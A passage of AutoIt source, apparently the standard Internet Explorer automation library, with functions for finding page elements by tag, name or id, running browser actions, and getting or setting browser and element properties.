  2056.         Case $i_index < -1
  2057.             __ieerrornotify("Error", "_IETagNameGetCollection", "$_IEStatus_InvalidValue", "$i_index < -1")
  2058.             Return SetError($_iestatus_invalidvalue, 3, 0)
  2059.         Case Else
  2060.             __ieerrornotify("Error", "_IETagNameGetCollection", "$_IEStatus_NoMatch")
  2061.             Return SetError($_iestatus_nomatch, 0, 0)
  2062.     EndSelect
  2063. EndFunc
  2064.  
  2065. Func _ietagnameallgetcollection(ByRef $o_object, $i_index = -1)
  2066.     If NOT IsObj($o_object) Then
  2067.         __ieerrornotify("Error", "_IETagNameAllGetCollection", "$_IEStatus_InvalidDataType")
  2068.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2069.     EndIf
  2070.     If NOT __ieisobjtype($o_object, "browserdom") Then
  2071.         __ieerrornotify("Error", "_IETagNameAllGetCollection", "$_IEStatus_InvalidObjectType")
  2072.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2073.     EndIf
  2074.     Local $otemp
  2075.     If __ieisobjtype($o_object, "documentcontainer") Then
  2076.         $otemp = _iedocgetobj($o_object)
  2077.     Else
  2078.         $otemp = $o_object
  2079.     EndIf
  2080.     $i_index = Number($i_index)
  2081.     Select
  2082.         Case $i_index = -1
  2083.             Return SetError($_iestatus_success, $otemp.all.length, $otemp.all)
  2084.         Case $i_index > -1 AND $i_index < $otemp.all.length
  2085.             Return SetError($_iestatus_success, $otemp.all.length, $otemp.all.item($i_index))
  2086.         Case $i_index < -1
  2087.             __ieerrornotify("Error", "_IETagNameAllGetCollection", "$_IEStatus_InvalidValue", "$i_index < -1")
  2088.             Return SetError($_iestatus_invalidvalue, 2, 0)
  2089.         Case Else
  2090.             __ieerrornotify("Error", "_IETagNameAllGetCollection", "$_IEStatus_NoMatch")
  2091.             Return SetError($_iestatus_nomatch, 1, 0)
  2092.     EndSelect
  2093. EndFunc
  2094.  
  2095. Func _iegetobjbyname(ByRef $o_object, $s_id, $i_index = 0)
  2096.     If NOT IsObj($o_object) Then
  2097.         __ieerrornotify("Error", "_IEGetObjByName", "$_IEStatus_InvalidDataType")
  2098.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2099.     EndIf
  2100.     $i_index = Number($i_index)
  2101.     If $i_index = -1 Then
  2102.         Return SetError($_iestatus_success, $o_object.document.getelementsbyname($s_id).length, $o_object.document.getelementsbyname($s_id))
  2103.     Else
  2104.         If IsObj($o_object.document.getelementsbyname($s_id).item($i_index)) Then
  2105.             Return SetError($_iestatus_success, $o_object.document.getelementsbyname($s_id).length, $o_object.document.getelementsbyname($s_id).item($i_index))
  2106.         Else
  2107.             __ieerrornotify("Warning", "_IEGetObjByName", "$_IEStatus_NoMatch", "Name: " & $s_id & ", Index: " & $i_index)
  2108.             Return SetError($_iestatus_nomatch, 0, 0)
  2109.         EndIf
  2110.     EndIf
  2111. EndFunc
  2112.  
  2113. Func _iegetobjbyid(ByRef $o_object, $s_id)
  2114.     If NOT IsObj($o_object) Then
  2115.         __ieerrornotify("Error", "_IEGetObjById", "$_IEStatus_InvalidDataType")
  2116.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2117.     EndIf
  2118.     If NOT __ieisobjtype($o_object, "browserdom") Then
  2119.         __ieerrornotify("Error", "_IEGetObById", "$_IEStatus_InvalidObjectType")
  2120.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2121.     EndIf
  2122.     If IsObj($o_object.document.getelementbyid($s_id)) Then
  2123.         Return SetError($_iestatus_success, 0, $o_object.document.getelementbyid($s_id))
  2124.     Else
  2125.         __ieerrornotify("Warning", "_IEGetObjById", "$_IEStatus_NoMatch", $s_id)
  2126.         Return SetError($_iestatus_nomatch, 2, 0)
  2127.     EndIf
  2128. EndFunc
  2129.  
  2130. Func _ieaction(ByRef $o_object, $s_action)
  2131.     If NOT IsObj($o_object) Then
  2132.         __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidDataType")
  2133.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2134.     EndIf
  2135.     $s_action = StringLower($s_action)
  2136.     Select
  2137.         Case $s_action = "click"
  2138.             If __ieisobjtype($o_object, "documentContainer") Then
  2139.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2140.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2141.             EndIf
  2142.             $o_object.click()
  2143.             Return SetError($_iestatus_success, 0, 1)
  2144.         Case $s_action = "disable"
  2145.             If __ieisobjtype($o_object, "documentContainer") Then
  2146.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2147.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2148.             EndIf
  2149.             $o_object.disabled = True
  2150.             Return SetError($_iestatus_success, 0, 1)
  2151.         Case $s_action = "enable"
  2152.             If __ieisobjtype($o_object, "documentContainer") Then
  2153.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2154.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2155.             EndIf
  2156.             $o_object.disabled = False
  2157.             Return SetError($_iestatus_success, 0, 1)
  2158.         Case $s_action = "focus"
  2159.             If __ieisobjtype($o_object, "documentContainer") Then
  2160.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2161.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2162.             EndIf
  2163.             $o_object.focus()
  2164.             Return SetError($_iestatus_success, 0, 1)
  2165.         Case $s_action = "copy"
  2166.             $o_object.document.execcommand("Copy")
  2167.             Return SetError($_iestatus_success, 0, 1)
  2168.         Case $s_action = "cut"
  2169.             $o_object.document.execcommand("Cut")
  2170.             Return SetError($_iestatus_success, 0, 1)
  2171.         Case $s_action = "paste"
  2172.             $o_object.document.execcommand("Paste")
  2173.             Return SetError($_iestatus_success, 0, 1)
  2174.         Case $s_action = "delete"
  2175.             $o_object.document.execcommand("Delete")
  2176.             Return SetError($_iestatus_success, 0, 1)
  2177.         Case $s_action = "saveas"
  2178.             $o_object.document.execcommand("SaveAs")
  2179.             Return SetError($_iestatus_success, 0, 1)
  2180.         Case $s_action = "refresh"
  2181.             $o_object.document.execcommand("Refresh")
  2182.             _ieloadwait($o_object)
  2183.             Return SetError($_iestatus_success, 0, 1)
  2184.         Case $s_action = "selectall"
  2185.             $o_object.document.execcommand("SelectAll")
  2186.             Return SetError($_iestatus_success, 0, 1)
  2187.         Case $s_action = "unselect"
  2188.             $o_object.document.execcommand("Unselect")
  2189.             Return SetError($_iestatus_success, 0, 1)
  2190.         Case $s_action = "print"
  2191.             $o_object.document.parentwindow.print()
  2192.             Return SetError($_iestatus_success, 0, 1)
  2193.         Case $s_action = "printdefault"
  2194.             If NOT __ieisobjtype($o_object, "browser") Then
  2195.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2196.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2197.             EndIf
  2198.             $o_object.execwb(6, 2)
  2199.             Return SetError($_iestatus_success, 0, 1)
  2200.         Case $s_action = "back"
  2201.             If NOT __ieisobjtype($o_object, "documentContainer") Then
  2202.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2203.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2204.             EndIf
  2205.             $o_object.goback()
  2206.             Return SetError($_iestatus_success, 0, 1)
  2207.         Case $s_action = "blur"
  2208.             $o_object.blur()
  2209.             Return SetError($_iestatus_success, 0, 1)
  2210.         Case $s_action = "forward"
  2211.             If NOT __ieisobjtype($o_object, "documentContainer") Then
  2212.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2213.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2214.             EndIf
  2215.             $o_object.goforward()
  2216.             Return SetError($_iestatus_success, 0, 1)
  2217.         Case $s_action = "home"
  2218.             If NOT __ieisobjtype($o_object, "documentContainer") Then
  2219.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2220.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2221.             EndIf
  2222.             $o_object.gohome()
  2223.             Return SetError($_iestatus_success, 0, 1)
  2224.         Case $s_action = "invisible"
  2225.             If NOT __ieisobjtype($o_object, "browser") Then
  2226.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2227.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2228.             EndIf
  2229.             $o_object.visible = 0
  2230.             Return SetError($_iestatus_success, 0, 1)
  2231.         Case $s_action = "visible"
  2232.             If NOT __ieisobjtype($o_object, "browser") Then
  2233.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2234.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2235.             EndIf
  2236.             $o_object.visible = 1
  2237.             Return SetError($_iestatus_success, 0, 1)
  2238.         Case $s_action = "search"
  2239.             If NOT __ieisobjtype($o_object, "browser") Then
  2240.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2241.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2242.             EndIf
  2243.             $o_object.gosearch()
  2244.             Return SetError($_iestatus_success, 0, 1)
  2245.         Case $s_action = "stop"
  2246.             If NOT __ieisobjtype($o_object, "documentContainer") Then
  2247.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2248.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2249.             EndIf
  2250.             $o_object.stop()
  2251.             Return SetError($_iestatus_success, 0, 1)
  2252.         Case $s_action = "quit"
  2253.             If NOT __ieisobjtype($o_object, "browser") Then
  2254.                 __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2255.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2256.             EndIf
  2257.             $o_object.quit()
  2258.             $o_object = 0
  2259.             Return SetError($_iestatus_success, 0, 1)
  2260.         Case Else
  2261.             __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidValue", "Invalid Action")
  2262.             Return SetError($_iestatus_invalidvalue, 2, 0)
  2263.     EndSelect
  2264. EndFunc
  2265.  
  2266. Func _iepropertyget(ByRef $o_object, $s_property)
  2267.     If NOT IsObj($o_object) Then
  2268.         __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidDataType")
  2269.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2270.     EndIf
  2271.     If NOT __ieisobjtype($o_object, "browserdom") Then
  2272.         __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2273.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2274.     EndIf
  2275.     Local $otemp, $itemp
  2276.     $s_property = StringLower($s_property)
  2277.     Select
  2278.         Case $s_property = "browserx"
  2279.             If __ieisobjtype($o_object, "browsercontainer") OR __ieisobjtype($o_object, "document") Then
  2280.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2281.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2282.             EndIf
  2283.             $otemp = $o_object
  2284.             $itemp = 0
  2285.             While IsObj($otemp)
  2286.                 $itemp += $otemp.offsetleft
  2287.                 $otemp = $otemp.offsetparent
  2288.             WEnd
  2289.             Return SetError($_iestatus_success, 0, $itemp)
  2290.         Case $s_property = "browsery"
  2291.             If __ieisobjtype($o_object, "browsercontainer") OR __ieisobjtype($o_object, "document") Then
  2292.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2293.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2294.             EndIf
  2295.             $otemp = $o_object
  2296.             $itemp = 0
  2297.             While IsObj($otemp)
  2298.                 $itemp += $otemp.offsettop
  2299.                 $otemp = $otemp.offsetparent
  2300.             WEnd
  2301.             Return SetError($_iestatus_success, 0, $itemp)
  2302.         Case $s_property = "screenx"
  2303.             If __ieisobjtype($o_object, "window") OR __ieisobjtype($o_object, "document") Then
  2304.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2305.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2306.             EndIf
  2307.             If __ieisobjtype($o_object, "browser") Then
  2308.                 Return SetError($_iestatus_success, 0, $o_object.left())
  2309.             Else
  2310.                 $otemp = $o_object
  2311.                 $itemp = 0
  2312.                 While IsObj($otemp)
  2313.                     $itemp += $otemp.offsetleft
  2314.                     $otemp = $otemp.offsetparent
  2315.                 WEnd
  2316.             EndIf
  2317.             Return SetError($_iestatus_success, 0, $itemp + $o_object.document.parentwindow.screenleft)
  2318.         Case $s_property = "screeny"
  2319.             If __ieisobjtype($o_object, "window") OR __ieisobjtype($o_object, "document") Then
  2320.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2321.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2322.             EndIf
  2323.             If __ieisobjtype($o_object, "browser") Then
  2324.                 Return SetError($_iestatus_success, 0, $o_object.top())
  2325.             Else
  2326.                 $otemp = $o_object
  2327.                 $itemp = 0
  2328.                 While IsObj($otemp)
  2329.                     $itemp += $otemp.offsettop
  2330.                     $otemp = $otemp.offsetparent
  2331.                 WEnd
  2332.             EndIf
  2333.             Return SetError($_iestatus_success, 0, $itemp + $o_object.document.parentwindow.screentop)
  2334.         Case $s_property = "height"
  2335.             If __ieisobjtype($o_object, "window") OR __ieisobjtype($o_object, "document") Then
  2336.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2337.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2338.             EndIf
  2339.             If __ieisobjtype($o_object, "browser") Then
  2340.                 Return SetError($_iestatus_success, 0, $o_object.height())
  2341.             Else
  2342.                 Return SetError($_iestatus_success, 0, $o_object.offsetheight)
  2343.             EndIf
  2344.         Case $s_property = "width"
  2345.             If __ieisobjtype($o_object, "window") OR __ieisobjtype($o_object, "document") Then
  2346.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2347.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2348.             EndIf
  2349.             If __ieisobjtype($o_object, "browser") Then
  2350.                 Return SetError($_iestatus_success, 0, $o_object.width())
  2351.             Else
  2352.                 Return SetError($_iestatus_success, 0, $o_object.offsetwidth)
  2353.             EndIf
  2354.         Case $s_property = "isdisabled"
  2355.             Return SetError($_iestatus_success, 0, $o_object.isdisabled())
  2356.         Case $s_property = "addressbar"
  2357.             If NOT __ieisobjtype($o_object, "browser") Then
  2358.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2359.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2360.             EndIf
  2361.             Return SetError($_iestatus_success, 0, $o_object.addressbar())
  2362.         Case $s_property = "busy"
  2363.             If NOT __ieisobjtype($o_object, "browser") Then
  2364.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2365.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2366.             EndIf
  2367.             Return SetError($_iestatus_success, 0, $o_object.busy())
  2368.         Case $s_property = "fullscreen"
  2369.             If NOT __ieisobjtype($o_object, "browser") Then
  2370.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2371.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2372.             EndIf
  2373.             Return SetError($_iestatus_success, 0, $o_object.fullscreen())
  2374.         Case $s_property = "hwnd"
  2375.             If NOT __ieisobjtype($o_object, "browser") Then
  2376.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2377.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2378.             EndIf
  2379.             Return SetError($_iestatus_success, 0, HWnd($o_object.hwnd()))
  2380.         Case $s_property = "left"
  2381.             If NOT __ieisobjtype($o_object, "browser") Then
  2382.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2383.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2384.             EndIf
  2385.             Return SetError($_iestatus_success, 0, $o_object.left())
  2386.         Case $s_property = "locationname"
  2387.             If NOT __ieisobjtype($o_object, "browser") Then
  2388.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2389.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2390.             EndIf
  2391.             Return SetError($_iestatus_success, 0, $o_object.locationname())
  2392.         Case $s_property = "locationurl"
  2393.             If __ieisobjtype($o_object, "browser") Then
  2394.                 Return SetError($_iestatus_success, 0, $o_object.locationurl())
  2395.             EndIf
  2396.             If __ieisobjtype($o_object, "window") Then
  2397.                 Return SetError($_iestatus_success, 0, $o_object.location.href())
  2398.             EndIf
  2399.             If __ieisobjtype($o_object, "document") Then
  2400.                 Return SetError($_iestatus_success, 0, $o_object.parentwindow.location.href())
  2401.             EndIf
  2402.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.location.href())
  2403.         Case $s_property = "menubar"
  2404.             If NOT __ieisobjtype($o_object, "browser") Then
  2405.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2406.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2407.             EndIf
  2408.             Return SetError($_iestatus_success, 0, $o_object.menubar())
  2409.         Case $s_property = "offline"
  2410.             If NOT __ieisobjtype($o_object, "browser") Then
  2411.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2412.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2413.             EndIf
  2414.             Return SetError($_iestatus_success, 0, $o_object.offline())
  2415.         Case $s_property = "readystate"
  2416.             If NOT __ieisobjtype($o_object, "browser") Then
  2417.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2418.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2419.             EndIf
  2420.             Return SetError($_iestatus_success, 0, $o_object.readystate())
  2421.         Case $s_property = "resizable"
  2422.             If NOT __ieisobjtype($o_object, "browser") Then
  2423.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2424.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2425.             EndIf
  2426.             Return SetError($_iestatus_success, 0, $o_object.resizable())
  2427.         Case $s_property = "silent"
  2428.             If NOT __ieisobjtype($o_object, "browser") Then
  2429.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2430.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2431.             EndIf
  2432.             Return SetError($_iestatus_success, 0, $o_object.silent())
  2433.         Case $s_property = "statusbar"
  2434.             If NOT __ieisobjtype($o_object, "browser") Then
  2435.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2436.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2437.             EndIf
  2438.             Return SetError($_iestatus_success, 0, $o_object.statusbar())
  2439.         Case $s_property = "statustext"
  2440.             If NOT __ieisobjtype($o_object, "browser") Then
  2441.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2442.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2443.             EndIf
  2444.             Return SetError($_iestatus_success, 0, $o_object.statustext())
  2445.         Case $s_property = "top"
  2446.             If NOT __ieisobjtype($o_object, "browser") Then
  2447.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2448.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2449.             EndIf
  2450.             Return SetError($_iestatus_success, 0, $o_object.top())
  2451.         Case $s_property = "visible"
  2452.             If NOT __ieisobjtype($o_object, "browser") Then
  2453.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2454.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2455.             EndIf
  2456.             Return SetError($_iestatus_success, 0, $o_object.visible())
  2457.         Case $s_property = "appcodename"
  2458.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.appcodename())
  2459.         Case $s_property = "appminorversion"
  2460.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.appminorversion())
  2461.         Case $s_property = "appname"
  2462.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.appname())
  2463.         Case $s_property = "appversion"
  2464.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.appversion())
  2465.         Case $s_property = "browserlanguage"
  2466.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.browserlanguage())
  2467.         Case $s_property = "cookieenabled"
  2468.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.cookieenabled())
  2469.         Case $s_property = "cpuclass"
  2470.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.cpuclass())
  2471.         Case $s_property = "javaenabled"
  2472.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.javaenabled())
  2473.         Case $s_property = "online"
  2474.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.online())
  2475.         Case $s_property = "platform"
  2476.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.platform())
  2477.         Case $s_property = "systemlanguage"
  2478.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.systemlanguage())
  2479.         Case $s_property = "useragent"
  2480.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.useragent())
  2481.         Case $s_property = "userlanguage"
  2482.             Return SetError($_iestatus_success, 0, $o_object.document.parentwindow.top.navigator.userlanguage())
  2483.         Case $s_property = "vcard"
  2484.             Local $avcard[1][29]
  2485.             $avcard[0][0] = "Business.City"
  2486.             $avcard[0][1] = "Business.Country"
  2487.             $avcard[0][2] = "Business.Fax"
  2488.             $avcard[0][3] = "Business.Phone"
  2489.             $avcard[0][4] = "Business.State"
  2490.             $avcard[0][5] = "Business.StreetAddress"
  2491.             $avcard[0][6] = "Business.URL"
  2492.             $avcard[0][7] = "Business.Zipcode"
  2493.             $avcard[0][8] = "Cellular"
  2494.             $avcard[0][9] = "Company"
  2495.             $avcard[0][10] = "Department"
  2496.             $avcard[0][11] = "DisplayName"
  2497.             $avcard[0][12] = "Email"
  2498.             $avcard[0][13] = "FirstName"
  2499.             $avcard[0][14] = "Gender"
  2500.             $avcard[0][15] = "Home.City"
  2501.             $avcard[0][16] = "Home.Country"
  2502.             $avcard[0][17] = "Home.Fax"
  2503.             $avcard[0][18] = "Home.Phone"
  2504.             $avcard[0][19] = "Home.State"
  2505.             $avcard[0][20] = "Home.StreetAddress"
  2506.             $avcard[0][21] = "Home.Zipcode"
  2507.             $avcard[0][22] = "Homepage"
  2508.             $avcard[0][23] = "JobTitle"
  2509.             $avcard[0][24] = "LastName"
  2510.             $avcard[0][25] = "MiddleName"
  2511.             $avcard[0][26] = "Notes"
  2512.             $avcard[0][27] = "Office"
  2513.             $avcard[0][28] = "Pager"
  2514.             For $i = 0 To 28
  2515.                 $avcard[1][$i] = Execute('$o_object.document.parentWindow.top.navigator.userProfile.getAttribute("' & $avcard[0][$i] & '")')
  2516.             Next
  2517.             Return SetError($_iestatus_success, 0, $avcard)
  2518.         Case $s_property = "referrer"
  2519.             Return SetError($_iestatus_success, 0, $o_object.document.referrer)
  2520.         Case $s_property = "theatermode"
  2521.             If NOT __ieisobjtype($o_object, "browser") Then
  2522.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2523.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2524.             EndIf
  2525.             Return SetError($_iestatus_success, 0, $o_object.theatermode)
  2526.         Case $s_property = "toolbar"
  2527.             If NOT __ieisobjtype($o_object, "browser") Then
  2528.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2529.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2530.             EndIf
  2531.             Return SetError($_iestatus_success, 0, $o_object.toolbar)
  2532.         Case $s_property = "contenteditable"
  2533.             If __ieisobjtype($o_object, "browser") OR __ieisobjtype($o_object, "document") Then
  2534.                 $otemp = $o_object.document.body
  2535.             Else
  2536.                 $otemp = $o_object
  2537.             EndIf
  2538.             Return SetError($_iestatus_success, 0, $otemp.iscontenteditable)
  2539.         Case $s_property = "innertext"
  2540.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2541.                 $otemp = $o_object.document.body
  2542.             Else
  2543.                 $otemp = $o_object
  2544.             EndIf
  2545.             Return SetError($_iestatus_success, 0, $otemp.innertext)
  2546.         Case $s_property = "outertext"
  2547.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2548.                 $otemp = $o_object.document.body
  2549.             Else
  2550.                 $otemp = $o_object
  2551.             EndIf
  2552.             Return SetError($_iestatus_success, 0, $otemp.outertext)
  2553.         Case $s_property = "innerhtml"
  2554.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2555.                 $otemp = $o_object.document.body
  2556.             Else
  2557.                 $otemp = $o_object
  2558.             EndIf
  2559.             Return SetError($_iestatus_success, 0, $otemp.innerhtml)
  2560.         Case $s_property = "outerhtml"
  2561.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2562.                 $otemp = $o_object.document.body
  2563.             Else
  2564.                 $otemp = $o_object
  2565.             EndIf
  2566.             Return SetError($_iestatus_success, 0, $otemp.outerhtml)
  2567.         Case $s_property = "title"
  2568.             Return SetError($_iestatus_success, 0, $o_object.document.title)
  2569.         Case $s_property = "uniqueid"
  2570.             If __ieisobjtype($o_object, "window") Then
  2571.                 __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidObjectType")
  2572.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2573.             Else
  2574.                 Return SetError($_iestatus_success, 0, $o_object.uniqueid)
  2575.             EndIf
  2576.         Case Else
  2577.             __ieerrornotify("Error", "_IEPropertyGet", "$_IEStatus_InvalidValue", "Invalid Property")
  2578.             Return SetError($_iestatus_invalidvalue, 2, 0)
  2579.     EndSelect
  2580. EndFunc
  2581.  
  2582. Func _iepropertyset(ByRef $o_object, $s_property, $newvalue)
  2583.     If NOT IsObj($o_object) Then
  2584.         __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidDataType")
  2585.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2586.     EndIf
  2587.     Local $otemp
  2588.     #forceref $oTemp
  2589.     $s_property = StringLower($s_property)
  2590.     Select
  2591.         Case $s_property = "addressbar"
  2592.             If NOT __ieisobjtype($o_object, "browser") Then
  2593.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2594.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2595.             EndIf
  2596.             $o_object.addressbar = $newvalue
  2597.             Return SetError($_iestatus_success, 0, 1)
  2598.         Case $s_property = "height"
  2599.             If NOT __ieisobjtype($o_object, "browser") Then
  2600.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2601.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2602.             EndIf
  2603.             $o_object.height = $newvalue
  2604.             Return SetError($_iestatus_success, 0, 1)
  2605.         Case $s_property = "left"
  2606.             If NOT __ieisobjtype($o_object, "browser") Then
  2607.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2608.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2609.             EndIf
  2610.             $o_object.left = $newvalue
  2611.             Return SetError($_iestatus_success, 0, 1)
  2612.         Case $s_property = "menubar"
  2613.             If NOT __ieisobjtype($o_object, "browser") Then
  2614.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2615.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2616.             EndIf
  2617.             $o_object.menubar = $newvalue
  2618.             Return SetError($_iestatus_success, 0, 1)
  2619.         Case $s_property = "offline"
  2620.             If NOT __ieisobjtype($o_object, "browser") Then
  2621.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2622.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2623.             EndIf
  2624.             $o_object.offline = $newvalue
  2625.             Return SetError($_iestatus_success, 0, 1)
  2626.         Case $s_property = "resizable"
  2627.             If NOT __ieisobjtype($o_object, "browser") Then
  2628.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2629.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2630.             EndIf
  2631.             $o_object.resizable = $newvalue
  2632.             Return SetError($_iestatus_success, 0, 1)
  2633.         Case $s_property = "statusbar"
  2634.             If NOT __ieisobjtype($o_object, "browser") Then
  2635.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2636.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2637.             EndIf
  2638.             $o_object.statusbar = $newvalue
  2639.             Return SetError($_iestatus_success, 0, 1)
  2640.         Case $s_property = "statustext"
  2641.             If NOT __ieisobjtype($o_object, "browser") Then
  2642.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2643.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2644.             EndIf
